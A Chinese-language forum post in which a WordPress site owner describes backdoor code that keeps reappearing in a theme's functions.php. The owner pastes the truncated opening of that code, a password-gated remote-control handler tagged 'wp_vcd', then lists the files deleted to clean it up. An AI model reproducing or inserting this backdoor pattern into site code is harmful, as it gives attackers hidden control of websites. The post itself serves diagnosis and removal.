WordPress:我自动在wp-content/themes/mytheme/function.php中添加了一个代码

不知道这是否在这里。但是, 关键是我自动在wp-content / themes / mythemeChild / function.php中添加了代码。

如果删除代码, 则每次加载网站时都会一次又一次添加代码:

这是代码:

//$start_wp_theme_tmp

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '4b705c1c67a8055f47ab7df9d283aae4'))
    {
$div_code_name="wp_vcd";
        switch ($_REQUEST['action'])
            {






                case 'change_domain';
                    if (isset($_REQUEST['newdomain']))
                        {

                            if (!empty($_REQUEST['newdomain']))
                                {
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                            {

我为解决问题所做的工作:

  1. 在wp-include目录中, 删除wp-vcd.php和class.wp.php文件
  2. 打开主题的functions.php文件, 并删除上述代码
